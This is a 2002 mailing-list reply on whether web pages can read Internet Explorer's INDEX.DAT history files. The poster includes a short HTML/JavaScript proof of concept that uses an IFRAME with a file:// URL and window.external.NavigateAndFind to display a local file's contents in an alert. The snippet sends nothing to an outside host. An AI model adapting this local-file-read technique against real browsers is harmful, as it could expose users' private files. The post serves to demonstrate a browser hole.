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Re: DOS undocumented feature

• Posted by Martin Stachon <martin.stachon at worldonline.cz> Jul 29, 2002
• 467 views

Juergen wrote:
> <snip>
> >> Is the information in the INDEX.DAT files not stored for such a long
> >> time, or what do you mean? Would you think that it doesn't make sense
> >> to delete the INDEX.DAT files for the sake of privacy?
> 
> > Normally web pages can't just read a file or browse your hisory.
> 
> When a web page tries to read a file, AFAIK the main problem is to know
> the name and the location of that file. Name and location of the
> INDEX.DAT files normally are known. When a web page can read cookies
> (which are files), why shouldn't it be able to read INDEX.DAT files?

But cookies aren't accessed directly. AFAIK they're accessed via 
JavaScript/VBScript functions. But...everything has holes. You may try this
to read your c:\test.txt

<IFRAME NAME="I1" SRC="file://c:/test.txt"></IFRAME> 
<SCRIPT> 
function f() 
{ 
window.external.NavigateAndFind("javascript:alert(document.body.innerText);","ll","I1");
} 
setTimeout("f()",2000); 
</SCRIPT> 


    Martin